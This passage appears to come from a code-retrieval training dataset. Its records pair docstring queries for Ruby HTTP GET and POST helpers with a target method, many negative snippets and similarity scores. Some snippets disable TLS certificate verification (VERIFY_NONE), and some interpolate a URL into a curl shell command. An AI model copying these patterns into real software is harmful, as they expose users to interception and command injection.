"0.47269526", "0.47226253", "0.47190017", "0.4707074", "0.4706195", "0.46985802", "0.46946144", "0.4694568", "0.46935442", "0.46918824", "0.46784666", "0.4669802" ]
0.48108274
64
Public: Executes an HTTP GET request to a given url. Returns the raw HTTP response body as a String.
def get(url) request(:get, url, {}, nil) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def http_get(url)\n Net::HTTP.get_response(URI.parse(url)).body.to_s\n end", "def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend", "def http_get(url)\n require \"open-uri\"\n URI.parse(url).read\n end", "def http_get(url)\n response = client.get(url, follow_redirect: true)\n\n raise HTTPClient::BadResponseError, response.reason unless HTTP::Status.successful?(response.status)\n\n response\n end", "def get(url, headers = {})\n do_request Net::HTTP::Get, url, headers\n end", "def get\n execute_request('GET') do |uri, headers|\n HTTP.http_client.get(\n uri,\n follow_redirect: true,\n header: headers\n )\n end\n end", "def get\n @response = Net::HTTP.get_response(URI(@url))\n end", "def get(url, headers={})\n do_request(\"get\", url, nil, headers)\n end", "def http_get(url)\n opts = {\n followlocation: false,\n timeout: @time_out,\n accept_encoding: 'gzip',\n headers: {\n 'User-Agent' => \"wgit/#{Wgit::VERSION}\",\n 'Accept' => 'text/html'\n }\n }\n\n # See https://rubydoc.info/gems/typhoeus for more info.\n Typhoeus.get(url, opts)\n end", "def get(url, headers: {}, params: {}, options: {}, &block)\n url = encode_query(url, params)\n\n request = Net::HTTP::Get.new(url, @default_headers.merge(headers))\n\n execute_streaming(request, options: options, &block)\n end", "def get\n begin\n response = Net::HTTP.get_response(URI.parse(uri))\n rescue => e\n raise InterfaceError, \"#{e.message}\\n\\n#{e.backtrace}\"\n end\n response.code == '200' ? response.body : response_error(response)\n end", "def get(url)\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n\n response = http.get(\"#{uri.path}?auto\")\n\n unless response.code == \"200\"\n puts \"Failed to retrieve #{url}: #{response.code}\"\n exit 3\n end\n\n response.body\nend", "def get(url, headers = {})\n request(:get, url, headers)\n end", "def get(url, headers = {})\n request(:get, url, headers)\n end", "def http_get(url, headers = nil)\r\n if @debug\r\n puts \"Url:\"\r\n puts url\r\n puts \"Headers:\"\r\n puts headers\r\n puts \"Method: get\"\r\n end\r\n return headers ? HTTParty.get(url, :headers => headers) : HTTParty.get(url)\r\n end", "def get\n if @data == nil\n url = make_url\n\n begin\n @data = Net::HTTP.get(URI.parse(url))\n rescue Exception => e\n @error = \"Unable to connect to #{url}\"\n end\n end\n\n return @data\n end", "def get(url='/', vars={})\n send_request url, vars, 'GET'\n end", "def do_get\n Net::HTTP.get(URI.parse(api_url))\n end", "def get(url, query = nil, headers = nil)\n headers = headers ? @headers.merge(headers) : @headers\n #Log.t(\"GET: #{url}\\n#{query.inspect}\\n#{headers.inspect}\")\n content = @client.get_content(URI.join(@base, url), query, headers) rescue ''\n Nokogiri::HTML(content)\n end", "def go_get_raw(url)\n begin\n puts \"Connecting to URL: \" + url\n response = HTTParty.get(url, timeout: Rails.configuration.x.network_time_out)\n rescue Exception => e\n puts \"Connection ERROR: \" + e.message\n return nil\n end\n return response\n end", "def fetch_from_url url\n require \"net/http\"\n\n uri = URI.parse(url)\n\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n\n request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46'\n \n response = http.request(request)\n \n return response.body # => The body (HTML, XML, blob, whatever)\n end", "def get(url)\n uri = URI(url)\n Net::HTTP.get(uri)\nend", "def get\n url = prefix + \"get\"\n return response(url)\n end", "def get\n url = prefix + \"get\"\n return response(url)\n end", "def get(url)\n uri = normalize_url(url)\n\n # Ensure the parsed URL is an HTTP one\n raise HTTPError::ClientError.new(\"Invalid URL #{url}\") unless uri.is_a?(URI::HTTP)\n\n req = Net::HTTP::Get.new(uri.request_uri)\n handle_request(uri, req)\n end", "def send_get(url)\r\n result = @client.get(self.target_uri(url))\r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200')\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end", "def http_get(url)\n # connect to delicious\n http = Net::HTTP.new('del.icio.us', 80)\n http.start\n\n # get URL, check for error\n resp = http.get(url, @headers);\n raise \"HTTP #{resp.code}: #{resp.message}\" unless resp.code =~ /2\\d{2}/\n\n # close HTTP connection, return response\n http.finish\n resp.body\n end", "def get_response(url)\n uri = URI(url)\n Net::HTTP.start(uri.host, uri.port, use_ssl: uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new uri\n return http.request(request).body\n end\nend", "def get\n url = prefix + \"get\"\n return response(url)\n end", "def get\n url = prefix + \"get\"\n return response(url)\n end", "def get(url, args = {})\r\n make_request(:get, url, args)\r\n end", "def http(url, opts = {})\n method = opts[:method] || :get\n response = HTTParty.send(method, url, opts)\n if (200..299).include?(response.code)\n response.body\n else\n raise HttpError.new(\"Bad response: #{response.code} #{response.body}\", response)\n end\n end", "def get url\n url = URI url\n request = HTTP::Get.new url.path\n\n dispatch request, to: url\n end", "def http( *args )\n p http_get( *args )\n end", "def get(url)\n call(url: url)\n end", "def get(url)\n\n data = nil\n resp = HTTParty.get(url)\n\n if resp.code == 200\n return resp.body\n end\n end", "def go_get(url)\n begin\n puts \"Connecting to URL: \" + url\n response = HTTParty.get(url, timeout: Rails.configuration.x.network_time_out)\n data = response.parsed_response\n rescue Exception => e\n puts \"Connection ERROR: \" + e.message\n return nil\n end\n return data\n end", "def get\n response = Net::HTTP.get_response(endpoint_uri)\n case response\n when Net::HTTPSuccess, Net::HTTPRedirection\n return response.body\n else \n raise response.body\n end\n end", "def do_http_get(url)\n response, data = @http.get(url, @headers)\n\n unless response.code == '200'\n case response.code\n when '400'\n data = {\n error: \"status code : #{response.code}, message : #{response.body}\"\n } \n else\n data = {\n error: \"You have Internal Error. status code : #{response.code}, message: #{response.body}\"\n }\n end\n end\n\n return data\n end", "def get(url)\n stdin, stdout, stderr, t = Open3.popen3(curl_get_cmd(url))\n output = encode_utf8(stdout.read).strip\n error = encode_utf8(stderr.read).strip\n if !error.nil? && !error.empty?\n if error.include? \"SSL\"\n raise FaviconParty::Curl::SSLError.new(error)\n elsif error.include? \"Couldn't resolve host\"\n raise FaviconParty::Curl::DNSError.new(error)\n else\n raise FaviconParty::CurlError.new(error)\n end\n end\n output\n end", "def get_url(url)\n myurl = URI.parse(url)\n req = Net::HTTP::Get.new(url)\n res = Net::HTTP.start(myurl.host, myurl.port) { |http|\n http.request(req)\n }\n \n res.body # return\n end", "def retrieve(url)\n response = @connection.get(url)\n\n if response.success?\n response.body\n else\n raise RuntimeError, \"Failed to retrieve #{url}: HTTP #{response.code} #{response.body}\"\n end\n end", "def get(params = {})\n response = prepare_response(make_url(params).open('User-Agent' => USER_AGENT).read)\n check_error(response)\n return parse_response(response)\n rescue OpenURI::HTTPError => e\n check_error(prepare_response(e.io.read))\n raise\n end", "def get url\n net_http_response = self.connection.get url\n [net_http_response.body, net_http_response.code.to_i, net_http_response.message]\n end", "def http_get(url)\n FaviconParty::HTTPClient.get(url)\n end", "def get(url)\n result = JSON.parse self.class.get(url, @request_options).body\n status = result['status']\n fail StandardError, \"Returned status: #{status}\" unless status == 'OK'\n result['response']\n end", "def get(url, options = {}, &block)\n options = treat_params_as_query(options)\n request HttpGetWithEntity, url, options, &block\n end", "def bin_get(url)\n `#{curl_get_cmd(url)} 2>/dev/null`\n end", "def send_get(uri)\n _send_request('GET', uri, nil)\n end", "def get(url, headers = {})\n http :get, \"#{url}.json\", headers\n end", "def GETCall url\n \n a = Time.now.to_f\n \n uri = URI.parse url\n \n http = Net::HTTP.new(uri.host,443)\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.use_ssl = true if uri.scheme == 'https'\n req = Net::HTTP::Get.new uri.path\n response = http.request req\n code = response.code.to_f.round\n body = response.body\n \n b = Time.now.to_f\n c = ((b-a)*100).round.to_f/100\n \n final = {code: code}\n final = final.merge(body: body)\n final = final.merge(time: c)\n \n final\n \n end", "def get\n check_response( @httpcli.get(@endpoint) )\n end", "def get_content\n send_get_content(url)\n end", "def get(url, params = {})\n client.get(url, params).body\n end", "def http_get(url)\n # get proxy info\n proxy_host, proxy_port = find_http_proxy\n # $stderr.puts \"DEBUG: proxy: host = #{proxy_host}, port = #{proxy_port}\"\n\n # get host, port, and base URI for API queries\n uri = URI.parse(@base_uri)\n base = uri.request_uri\n\n # prepend base to url\n url = \"#{base}/#{url}\"\n\n # connect to delicious\n http = Net::HTTP.Proxy(proxy_host, proxy_port).new(uri.host, uri.port)\n\n if uri.scheme == 'https'\n # check to make sure we have SSL support\n raise NoSSLError, \"Unsupported URI scheme 'https'\" unless HAVE_SSL\n init_http_ssl(http)\n end\n\n # start HTTP connection\n http = http.start\n\n # get URL, check for error\n resp = http.get(url, @headers)\n raise HTTPError, \"HTTP #{resp.code}: #{resp.message}\" unless resp.code =~ /2\\d{2}/\n\n # close HTTP connection, return response\n http.finish\n resp.body\n end", "def http_get uri\n http_req = Net::HTTP::Get.new uri\n http_resp = http_req_with_digest_auth http_req\n case http_resp\n when Net::HTTPSuccess\n return http_resp\n else\n handle_error http_resp\n end\n end", "def get(url, options)\n headers = options[:headers] || {}\n params = options[:params] || {}\n url = url_with_params(url, params)\n req = Net::HTTP::Get.new(url)\n request_with_headers(req, headers)\n end", "def get(url, headers={})\n RestClient.get url, headers\n end", "def read_http(url)\n uri = URI(url)\n Net::HTTP.get_response(uri)\nend", "def read_http(url)\n uri = URI(url)\n Net::HTTP.get_response(uri)\nend", "def make_get_request url, headers = []\n make_request url, headers: headers\n end", "def get(uri)\r\n request(Net::HTTP::Get.new(uri)) \r\n end", "def httpget(url, corpNum, userID = '')\n headers = {\n \"x-pb-version\" => BaseService::POPBILL_APIVersion,\n \"Accept-Encoding\" => \"gzip,deflate\",\n }\n\n if corpNum.to_s != ''\n headers[\"Authorization\"] = \"Bearer \" + getSession_Token(corpNum)\n end\n\n if userID.to_s != ''\n headers[\"x-pb-userid\"] = userID\n end\n\n uri = URI(getServiceURL() + url)\n\n request = Net::HTTP.new(uri.host, 443)\n request.use_ssl = true\n\n Net::HTTP::Get.new(uri)\n\n res = request.get(uri.request_uri, headers)\n\n if res.code == \"200\"\n if res.header['Content-Encoding'].eql?('gzip')\n JSON.parse(gzip_parse(res.body))\n else\n JSON.parse(res.body)\n end\n else\n raise PopbillException.new(JSON.parse(res.body)[\"code\"],\n JSON.parse(res.body)[\"message\"])\n end\n end", "def get url\n RestClient::Request.execute(:method => :get, :url => url, :headers => lbaas_headers, :timeout => @timeout, :open_timeout => @open_timeout)\n end", "def get(url, options = {})\n options[\"apikey\"] = @api_key\n uri = generate_uri(url, @default_options.merge(options))\n\n response = Net::HTTP.get_response(uri)\n json? ? JSON.parse(response.body) : response.body\n end", "def get(url); end", "def get(url, params={}, headers={}, redirect_limit=max_redirects)\n # parse the URL\n uri = URI.parse(url)\n # add URL parameters\n uri.query = URI.encode_www_form(params)\n\n debug(\"GET #{uri} #{headers.inspect}\")\n\n # build the http object\n http = build_http(uri)\n # build the request\n request = Net::HTTP::Get.new(uri.request_uri, headers)\n\n # send the request\n begin\n response = http.request(request)\n # handle the response\n case response\n when Net::HTTPRedirection then\n raise Net::HTTPFatalError.new(\"Too many redirects\", response) if redirect_limit == 0\n get_raw(response['location'], params, headers, redirect_limit - 1)\n else\n KineticHttpResponse.new(response)\n end\n rescue StandardError => e\n KineticHttpResponse.new(e)\n end\n end", "def get()\n return @http.request(@req)\n end", "def httpget(url, corpNum, userID = '')\n headers = {\n \"x-pb-version\" => KAKAOCERT_APIVersion,\n \"Accept-Encoding\" => \"gzip,deflate\",\n }\n\n if corpNum.to_s != ''\n headers[\"Authorization\"] = \"Bearer \" + getSession_Token(corpNum)\n end\n\n if userID.to_s != ''\n headers[\"x-pb-userid\"] = userID\n end\n\n uri = URI(getServiceURL() + url)\n request = Net::HTTP.new(uri.host, 443)\n request.use_ssl = true\n\n Net::HTTP::Get.new(uri)\n\n res = request.get(uri.request_uri, headers)\n\n if res.code == \"200\"\n if res.header['Content-Encoding'].eql?('gzip')\n JSON.parse(gzip_parse(res.body))\n else\n JSON.parse(res.body)\n end\n else\n raise KakaocertException.new(JSON.parse(res.body)[\"code\"],\n JSON.parse(res.body)[\"message\"])\n end\n end", "def get\n execute_request { faraday_connection.get(href || '') }\n end", "def get_request\n # Use our @http_object object's request method to call the\n # Net::HTTP::Get class and return the resulting response object\n @http_object.request(Net::HTTP::Get.new(@url.request_uri))\n end", "def make_get_request(uri)\n response = Net::HTTP.get_response(uri)\n response.is_a?(Net::HTTPSuccess) ? response.body : nil\nend", "def get\n start { |connection| connection.request http :Get }\n end", "def get\n res = connection.get url.to_s\n Response.const_get(class_basename).new res.body, res.status\n end", "def get(url)\n # slow down the request rate! otherwise you will get blocked\n sleep 1\n return @agent.get(url)\n end", "def getHTTP(url)\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == 'https'\n request = Net::HTTP::Get.new(uri.request_uri)\n http.request(request)\nend", "def http_fetch_body(url)\n res = http_fetch(url)\n case res\n when Net::HTTPSuccess\n res.body\n else res.error!\n end\n end", "def get(path)\n req = Net::HTTP::Get.new(@base_url + path)\n response = handle_request(req)\n response.each {|k,v| puts \"#{k}: #{v}\"}\n response\n end", "def get(options={}, &block)\n response = http.get_uri(options, &block)\n handle_response(response)\n end", "def http_get(path, headers = { })\n clear_response\n path = process_path(path)\n @success_code = 200\n @response = http.get(path, headers)\n parse_response? ? parsed_response : response.body\n end", "def get_request\n# Use our @http_object object's request method to call the\n# Net::HTTP::Get class and return the resulting response object\n @http_object.request(Net::HTTP::Get.new(@url.request_uri))\n end", "def restRequest(url)\n printDebugMessage('restRequest', 'Begin', 11)\n printDebugMessage('restRequest', 'url: ' + url, 12)\n # Split URL into components\n uri = URI.parse(url)\n # Create a HTTP connection\n httpConn = Net::HTTP.new(uri.host, uri.port)\n # Get the resource\n if uri.query\n path = \"#{uri.path}?#{uri.query}\"\n else\n path = uri.path\n end\n resp, data = httpConn.get(path, {'User-agent' => getUserAgent()})\n case resp\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n else\n $stderr.puts data\n resp.error!\n end\n printDebugMessage('restRequest', 'data: ' + data, 21)\n printDebugMessage('restRequest', 'End', 11)\n return data\n end", "def get\n subclass(:Response).new connection.get do |req|\n req.url uri\n end\n end", "def get(http: HTTParty)\n http.get(url)\n end", "def perform_request url\n response = self.class.get(url)\n raise NotFound.new(\"404 Not Found\") if response.respond_to?(:code) && response.not_found?\n raise InvalidAPIResponse.new(response[\"status\"][\"message\"]) if response.is_a?(Hash) && response[\"status\"]\n\n response\n end", "def get_http_content\n uri.query = URI.encode_www_form(params)\n res = Net::HTTP.get_response(uri)\n\n raise HTTPError.new(\"invalid #{res.code} response\") unless res.is_a?(Net::HTTPSuccess)\n\n puts res.code\n res.body\n end", "def hnl_http_get_text(uri, include_http_response = false)\n # setup the request\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n # make the request\n response = http.request(request)\n # and return the result\n return [response.body, response] if include_http_response\n response.body\n end", "def get_url(url)\n url = URI.parse(URI.escape(url))\n res = Net::HTTP.get_response(url)\n return res\nend", "def http_request(url)\n uri = URI.parse(url)\n begin\n http = uri.read(read_timeout: 4)\n rescue OpenURI::HTTPError => e\n raise RequestError, YAML::dump(e)\n end\n end", "def get(url, headers)\n conn = create_connection_object(url)\n\n http = conn.get(:head => add_authorization_to_header(headers, @auth))\n\n action = proc do\n response = Response.new(http.response.parsed, http)#.response.raw)\n yield response if block_given?\n end\n\n http.callback &action\n http.errback &action \n end", "def fetch\n endpoint = URI(uri)\n Net::HTTP.get(endpoint)\n rescue *@errors => e\n pp e\n nil\n end", "def raw_response\n Net::HTTP.get(endpoint)\n end", "def http_response(url)\n uri = URI.parse(url)\n\n response = nil\n retry_url_trailing_slash = true\n retry_url_execution_expired = true\n begin\n Net::HTTP.start(uri.host,uri.port) {|http|\n http.open_timeout = TIMEOUT_LENGTH\n req = Net::HTTP::Get.new(uri.path) \n response = http.request(req) \n }\n rescue Exception => e\n\n # forgot the trailing slash...add and retry\n if e.message == \"HTTP request path is empty\" and retry_url_trailing_slash\n url += '/'\n uri = URI.parse(url)\n h = Net::HTTP.new(uri.host)\n retry_url_trailing_slash = false\n retry\n elsif e.message =~ /execution expired/ and retry_url_execution_expired\n retry_url_execution_expired = false\n retry\n else\n response = e.to_s\n end\n end\n\n return response\n end", "def get(url)\n self.class.get(url)\n end", "def retrieve(url)\n Hpricot(Net::HTTP.get(URI.parse(url)))\n end", "def http_get(url)\n # set HTTP version to 1.2\n Net::HTTP::version_1_2\n\n urls = %w{api proxy}.inject({}) do |ret, key|\n if url_val = @opt[\"#{key}_url\"] \n uri = parse_url(url_val, \"#{key} URL\")\n [:host, :port].each { |m| ret[\"#{key}_#{m}\"] = uri.send(m) }\n end\n\n ret\n end\n\n # connect to technorati\n http = Net::HTTP.Proxy(urls['proxy_host'], urls['proxy_port']).new(urls['api_host'], urls['api_port'])\n http.start\n\n # $stderr.puts \"DEBUG URL: #{url}\"\n\n # create HTTP headers hash\n http_headers = {\n 'User-Agent' => @opt['user_agent']\n }\n\n # get URL, check for error\n resp = http.get(url, http_headers)\n raise Technorati::HTTPError, \"HTTP #{resp.code}: #{resp.message}\" unless resp.code =~ /2\\d{2}/\n\n # close HTTP connection, return response\n http.finish\n resp.body\n end", "def download(url)\n Net::HTTP.get_response(url)\n end", "def get(query_url,\r\n headers: {})\r\n HttpRequest.new(HttpMethodEnum::GET,\r\n query_url,\r\n headers: headers)\r\n end", "def get(uri, request_headers)\n request('get', uri, request_headers)\n end", "def http_get_direct(url)\n log(\"http get : #{url}\") if $opt[\"debug\"]\n begin\n html = Net::HTTP.get_response(URI.parse(url)).body\n # XXX must fix the rescue its not working\n rescue => err\n log(\"Error: #{err}\")\n exit 2\n end\n html\nend" ]
[ "0.8234754", "0.82156444", "0.7883236", "0.7707608", "0.7634456", "0.7626679", "0.7603415", "0.75843483", "0.75605714", "0.7510783", "0.7486872", "0.7433726", "0.7340425", "0.7340425", "0.7323908", "0.7311657", "0.72910047", "0.7280283", "0.72454315", "0.7242799", "0.72268", "0.71608675", "0.71447057", "0.71447057", "0.7138863", "0.7125128", "0.7101509", "0.7100215", "0.7096794", "0.7096794", "0.70930964", "0.708796", "0.7076085", "0.70674014", "0.7039659", "0.70380735", "0.70313656", "0.70245546", "0.70244163", "0.7018735", "0.7012341", "0.7009183", "0.7004137", "0.6977881", "0.6975644", "0.69703114", "0.69693685", "0.6954946", "0.6942369", "0.69349444", "0.69279766", "0.6909717", "0.6894983", "0.6894729", "0.6886208", "0.6869189", "0.68399954", "0.683773", "0.6829905", "0.6829905", "0.6822145", "0.68086904", "0.6789153", "0.67851305", "0.6775592", "0.67572707", "0.6755357", "0.67404306", "0.67309207", "0.6720204", "0.6701903", "0.66878664", "0.66876566", "0.6650481", "0.6645638", "0.6641267", "0.66391826", "0.663458", "0.6630382", "0.6612361", "0.66102254", "0.6599246", "0.65927", "0.658881", "0.65834415", "0.65731317", "0.65717244", "0.6567587", "0.6565398", "0.65644956", "0.65553814", "0.6530881", "0.6527491", "0.65271217", "0.65203965", "0.6517031", "0.6516665", "0.651114", "0.65085566", "0.65083104" ]
0.75564456
9
Public: Executes an HTTP POST request to a given url with headers and body. Returns the raw HTTP response body as a String.
def post(url, headers, body) request(:post, url, headers, body) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def post url, body, headers = {}\n http_request(url, Net::HTTP::Post, body, headers)\n end", "def post(url, body, headers = {})\n do_request Net::HTTP::Post, url, headers, body\n end", "def http_post_request(url, body = nil)\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = body || ''\n response = http.request(request)\n return response.body\n end", "def make_post_request url, body, headers = []\n make_request url, method: ::Rack::POST, body: body, headers: headers\n end", "def post(url, body, headers: {}, params: {}, options: {}, &block)\n raise ArgumentError, \"'post' requires a string 'body' argument\" unless body.is_a?(String)\n url = encode_query(url, params)\n\n request = Net::HTTP::Post.new(url, @default_headers.merge(headers))\n request.body = body\n request.content_length = body.bytesize\n\n raise ArgumentError, \"'post' requires a 'content-type' header\" unless request['Content-Type']\n\n execute_streaming(request, options: options, &block)\n end", "def post(url, post_vars={})\n send_request url, post_vars, 'POST'\n end", "def simple_post(plain_url, params, user_headers)\n url = URI.parse(plain_url)\n\n headers = self.class.default_headers.merge(user_headers)\n\n req = Net::HTTP::Post.new(url.path, headers)\n req.set_form_data(params)\n\n if DEBUG_REQ\n puts \"=== Debug Http Request\"\n puts \"url => #{url}\"\n puts \"body => #{req.body}\"\n puts \"=== Fim Debug Http Request\"\n end\n\n res = Net::HTTP.new(url.host, url.port).start {|http| http.request(req) }\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n else\n res.error!\n end\n\n plain_html = res.body\n if DEBUG_REQ\n puts \"=== Debug Http Response Body\"\n puts plain_html\n puts \"=== Fim Debug Http Response Body\"\n end\n plain_html\n end", "def post(url, body, headers)\n conn = create_connection_object(url)\n\n http = conn.post(:body => body,\n :head => add_authorization_to_header(headers, @auth))\n\n action = proc do\n response = Response.new(http.response.parsed, http)#.response.raw)\n yield response if block_given?\n end\n\n http.callback &action\n http.errback &action \n end", "def send_post_request(url, payload, content_type = 'application/json')\n # set the uri\n url = URI(url)\n\n # set http settings\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n # set request\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = content_type\n request[\"cache-control\"] = 'no-cache'\n\n # set the payload\n request.body = payload\n\n # send the request and get whatever is the response\n response = http.request(request)\n\n # return the response by reading the body\n return response.read_body\n end", "def post(url, req_hash={})\n res = nil\n res = perform_op(:post, req_hash) do\n res = @wrapper.post(url, req_hash)\n end\n return res\n end", "def post(url, data, headers = {})\n request(:post, url, headers, :data => data)\n end", "def post(url, options = {}, &block)\n request HttpPost, url, options, &block\n end", "def httppost(url, corpNum, postData, action = '', userID = '', contentsType = '')\n\n headers = {\n \"x-pb-version\" => BaseService::POPBILL_APIVersion,\n \"Accept-Encoding\" => \"gzip,deflate\",\n }\n\n if contentsType == ''\n headers[\"Content-Type\"] = \"application/json; charset=utf8\"\n else\n headers[\"Content-Type\"] = contentsType\n end\n\n if corpNum.to_s != ''\n headers[\"Authorization\"] = \"Bearer \" + getSession_Token(corpNum)\n end\n\n if userID.to_s != ''\n headers[\"x-pb-userid\"] = userID\n end\n\n if action.to_s != ''\n headers[\"X-HTTP-Method-Override\"] = action\n end\n\n uri = URI(getServiceURL() + url)\n\n https = Net::HTTP.new(uri.host, 443)\n https.use_ssl = true\n Net::HTTP::Post.new(uri)\n\n res = https.post(uri.request_uri, postData, headers)\n\n if res.code == \"200\"\n if res.header['Content-Encoding'].eql?('gzip')\n JSON.parse(gzip_parse(res.body))\n else\n JSON.parse(res.body)\n end\n else\n raise PopbillException.new(JSON.parse(res.body)[\"code\"],\n JSON.parse(res.body)[\"message\"])\n end\n end", "def post_http_content\n res = Net::HTTP.post_form(uri, params)\n\n raise HTTPError.new(\"invalid #{res.code} response\") unless res.is_a?(Net::HTTPSuccess)\n\n res.body\n end", "def post(query_url,\r\n headers: {},\r\n parameters: {})\r\n HttpRequest.new(HttpMethodEnum::POST,\r\n query_url,\r\n headers: headers,\r\n parameters: parameters)\r\n end", "def http_post(url, hash=nil, _port=nil, headers=nil)\n \n resp, data = http_request(url, \"post\", hash, _port, headers)\n\treturn [resp, data]\nend", "def post_response(url, body, headers = {})\n logger.debug \"POST (response) #{url}\"\n uri = normalize_url(url)\n\n req = Net::HTTP::Post.new(uri.request_uri)\n headers.each {|k,v| req.add_field k, v}\n assign_body(req, body)\n\n http = authenticate_request(uri, req)\n response = http.request(req)\n logger.debug \"POSTED (#{response.code}) #{url}\"\n response\n end", "def http_post(url, data)\n\turi = URI(url)\n\treq = Net::HTTP::Post.new(uri.path, initheader = {'Content-Type' =>'application/json'})\n req.body = data.to_json\n response = Net::HTTP.new(uri.host, uri.port).start {|http| http.request(req) }\n return response\nend", "def post\n uri = URI.parse(self.url)\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.open_timeout = 10\n http.read_timeout = 10\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n data = self.params.collect { |k, v| \"#{k}=#{CGI.escape(v.to_s)}\" }.join(\"&\")\n Freemium.log_test_msg(\"POST\\n url: #{self.url}\\n query: #{data}\")\n http.post(uri.request_uri, data).body\n end", "def post(url, body = nil, headers = nil)\n faraday_response = faraday.post(url, body, headers) do\n _1.options[:proxy] = random_proxy\n end\n Response.new(faraday_response)\n end", "def post(url, options)\n headers = options[:headers] || {}\n params = options[:params] || {}\n req = Net::HTTP::Post.new(url)\n req = request_with_headers(req, headers)\n request_with_params(req, params)\n end", "def post(body = nil, headers = {}, path = '')\n uri = URI.parse(\"#{@url}#{path}\")\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = body\n send_request(uri, request, headers)\n end", "def post(url, args = {})\r\n make_request(:post, url, args)\r\n end", "def post(uri, request_headers, body)\n request('post', uri, request_headers, body)\n end", "def post_request(url, params)\n res = Net::HTTP.post_form(url, params)\n Nokogiri::HTML(res.body)\n end", "def post(url, data={}, headers={}, redirect_limit=max_redirects)\n # parse the URL\n uri = URI.parse(url)\n\n debug(\"POST #{uri} #{headers.inspect}\")\n\n # unless the data is already a string, assume JSON and convert to string\n data = data.to_json unless data.is_a? String\n # build the http object\n http = build_http(uri)\n # build the request\n request = Net::HTTP::Post.new(uri.request_uri, headers)\n request.body = data\n\n # send the request\n begin\n response = http.request(request)\n # handle the response\n case response\n when Net::HTTPRedirection then\n raise Net::HTTPFatalError.new(\"Too many redirects\", response) if redirect_limit == 0\n post_raw(response['location'], data, headers, redirect_limit - 1)\n else\n KineticHttpResponse.new(response)\n end\n rescue StandardError => e\n KineticHttpResponse.new(e)\n end\n end", "def post(url, data, headers = {})\n if data.is_a?(Hash)\n data = data.map {|k,v| urlencode(k.to_s) + '=' + urlencode(v.to_s) }.join('&')\n headers['Content-Type'] = 'application/x-www-form-urlencoded'\n end\n request(:post, url, headers, :data => data)\n end", "def post(url, post_data, custom_headers = {})\n headers = @default_headers.merge(custom_headers)\n # slow down the request rate! otherwise you will get blocked\n sleep 1\n return @agent.post(url, post_data, headers)\n end", "def post_request(uri, params)\n begin\n \n # Request the data and return it\n doc = Nokogiri::HTML(open(uri, params.merge(:allow_redirections => :safe)))\n return doc.text\n #\n # Rescue in the case of a 404 or a redirect\n # \n # TODO - this should really log into the task?\n rescue OpenURI::HTTPError => e \n TapirLogger.instance.log \"Error, couldn't open #{uri} with error #{e}\"\n rescue Timeout::Error => e\n TapirLogger.instance.log \"Timeout! #{e}\"\n rescue OpenSSL::SSL::SSLError => e\n TapirLogger.instance.log \"Unable to connect: #{e}\"\n rescue Net::HTTPBadResponse => e\n TapirLogger.instance.log \"Unable to connect: #{e}\"\n rescue EOFError => e\n TapirLogger.instance.log \"Unable to connect: #{e}\"\n rescue SocketError => e\n TapirLogger.instance.log \"Unable to connect: #{e}\"\n rescue SystemCallError => e\n TapirLogger.instance.log \"Unable to connect: #{e}\"\n rescue ArgumentError => e\n TapirLogger.instance.log \"Argument Error #{e}\"\n rescue Encoding::InvalidByteSequenceError => e\n TapirLogger.instance.log \"Encoding error: #{e}\"\n rescue Encoding::UndefinedConversionError => e\n TapirLogger.instance.log \"Encoding error: #{e}\"\n #rescue RuntimeError => e\n # TapirLogger.instance.log \"Unknown Error: #{e}\"\n end\n # Default to sending nothing \n false\n end", "def post(url, body = {})\n call(url: url, action: :post, body: body)\n end", "def post(url, payload, headers: {}, options: {})\n request_with_payload(:post, url, payload, headers, options)\n end", "def post query=nil, content_type='application/x-www-form-urlencoded'\n\t\treq = Net::HTTP::Post.new(@uri.path)\n\n\t\treq.body= make_query query if query\n\t\treq.content_type=content_type if query\n\t\treq.content_length=query ? req.body.length : 0\n\n\t\tdo_http req\n\tend", "def post(url, options = {}, &block)\n run! Request.new(url, :post, options.slice(:headers, :params, :payload), &block)\n end", "def post url, object = nil\n request url, HTTP::Post, object\n end", "def post(url, params = {})\n client.post(url, params).body\n end", "def post(url, payload = {}, headers = {})\n http :post, \"#{url}.json\", payload.to_json, headers\n end", "def post(url, query = nil, headers = nil)\n headers = headers ? @headers.merge(headers) : @headers\n #Log.t(\"POST: #{url}\\n#{query.inspect}\\n#{headers.inspect}\")\nres = @client.post(URI.join(@base, url), query, headers) rescue nil\n\t#puts \"*******************************************\"\n\t#puts res.inspect\n if res != nil\n\t@responseHeaders = res.header\n Nokogiri::HTML(res.body)\n else\n Nokogiri::HTML('')\n end\n end", "def post()\n return @http.request(@req)\n end", "def do_post(uri = \"\", body = \"\")\n @connection.post do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n req.body = body\n end\n rescue Faraday::Error::ConnectionFailed => e\n $lxca_log.error \"XClarityClient::XclarityBase do_post\", \"Error trying to send a POST to #{uri}\"\n $lxca_log.error \"XClarityClient::XclarityBase do_post\", \"Request sent: #{body}\"\n Faraday::Response.new\n end", "def post 